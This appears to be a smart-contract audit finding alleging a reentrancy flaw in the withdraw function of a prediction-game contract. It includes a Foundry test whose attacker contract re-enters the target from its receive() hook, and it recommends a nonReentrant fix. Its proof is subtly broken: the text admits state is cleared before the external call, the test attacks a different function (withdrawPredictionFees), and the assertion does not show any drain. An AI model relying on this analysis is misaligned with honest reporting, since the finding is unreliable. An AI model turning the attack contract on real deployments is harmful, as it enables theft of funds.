Summary
The **withdraw **function performs several operations and then makes an external call. The state changes (clearing predictions count) occur before the external call, reducing reentrancy risk. However, the absence of a reentrancy guard still leaves it vulnerable to reentrancy attacks.
Vulnerability Details
**withdraw **function:
function withdraw() public {
if (!scoreBoard.isEligibleForReward(msg.sender)) {
revert ThePredicter__NotEligibleForWithdraw();
}
int8 score = scoreBoard.getPlayerScore(msg.sender);
int8 maxScore = -1;
int256 totalPositivePoints = 0;
for (uint256 i = 0; i < players.length; ++i) {
int8 cScore = scoreBoard.getPlayerScore(players[i]);
if (cScore > maxScore) maxScore = cScore;
if (cScore > 0) totalPositivePoints += cScore;
}
if (maxScore > 0 && score <= 0) {
revert ThePredicter__NotEligibleForWithdraw();
}
uint256 shares = uint8(score);
uint256 totalShares = uint256(totalPositivePoints);
uint256 reward = 0;
reward = maxScore < 0
? entranceFee
: (shares * players.length * entranceFee) / totalShares;
if (reward > 0) {
scoreBoard.clearPredictionsCount(msg.sender);
(bool success, ) = msg.sender.call{value: reward}("");
require(success, "Failed to withdraw");
}
}
Test for withdraw function:
pragma solidity 0.8.20;
import "forge-std/Test.sol";
import "../src/ThePredicter.sol";
import "../src/ScoreBoard.sol";
contract ReentrancyAttack {
ThePredicter public target;
bool public reenter = true;
constructor(ThePredicter _target) {
target = _target;
}
receive() external payable {
if (reenter) {
reenter = false;
target.withdrawPredictionFees();
}
}
function attack() external {
target.withdrawPredictionFees();
}
}
contract ThePredicterTest is Test {
ThePredicter public predicter;
ScoreBoard public scoreBoard;
ReentrancyAttack public attacker;
address public organizer = address(0x1);
address public player = address(0x2);
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
predicter = new ThePredicter(address(scoreBoard), 1 ether, 0.1 ether);
attacker = new ReentrancyAttack(predicter);
vm.deal(address(predicter), 100 ether);
vm.stopPrank();
}
function testReentrancyAttack() public {
vm.startPrank(player);
vm.deal(player, 1 ether);
predicter.register{value: 1 ether}();
vm.stopPrank();
vm.startPrank(organizer);
predicter.approvePlayer(player);
vm.stopPrank();
vm.startPrank(address(attacker));
attacker.attack();
vm.stopPrank();
assertGt(address(attacker).balance, 0, "Reentrancy attack failed");
}
}
Impact
The lack of a reentrancy guard still exposes the contract to potential reentrancy attacks, which could allow an attacker to drain all funds from the contract.
Tools Used
Manual Review
Recommendations
Implementing the nonReentrant modifier to prevent function re-entry.
function withdraw() public nonReentrant {
if (!scoreBoard.isEligibleForReward(msg.sender)) {
revert ThePredicter__NotEligibleForWithdraw();
}
int8 score = scoreBoard.getPlayerScore(msg.sender);
int8 maxScore = -1;
int256 totalPositivePoints = 0;
for (uint256 i = 0; i < players.length; ++i) {
int8 cScore = scoreBoard.getPlayerScore(players[i]);
if (cScore > maxScore) maxScore = cScore;
if (cScore > 0) totalPositivePoints += cScore;
}
if (maxScore > 0 && score <= 0) {
revert ThePredicter__NotEligibleForWithdraw();
}
uint256 shares = uint8(score);
uint256 totalShares = uint256(totalPositivePoints);
uint256 reward = 0;
reward = maxScore < 0
? entranceFee
: (shares * players.length * entranceFee) / totalShares;
if (reward > 0) {
scoreBoard.clearPredictionsCount(msg.sender);
(bool success, ) = msg.sender.call{value: reward}("");
require(success, "Failed to withdraw");
}
}
These modifications substantially mitigate the risk of reentrancy attacks.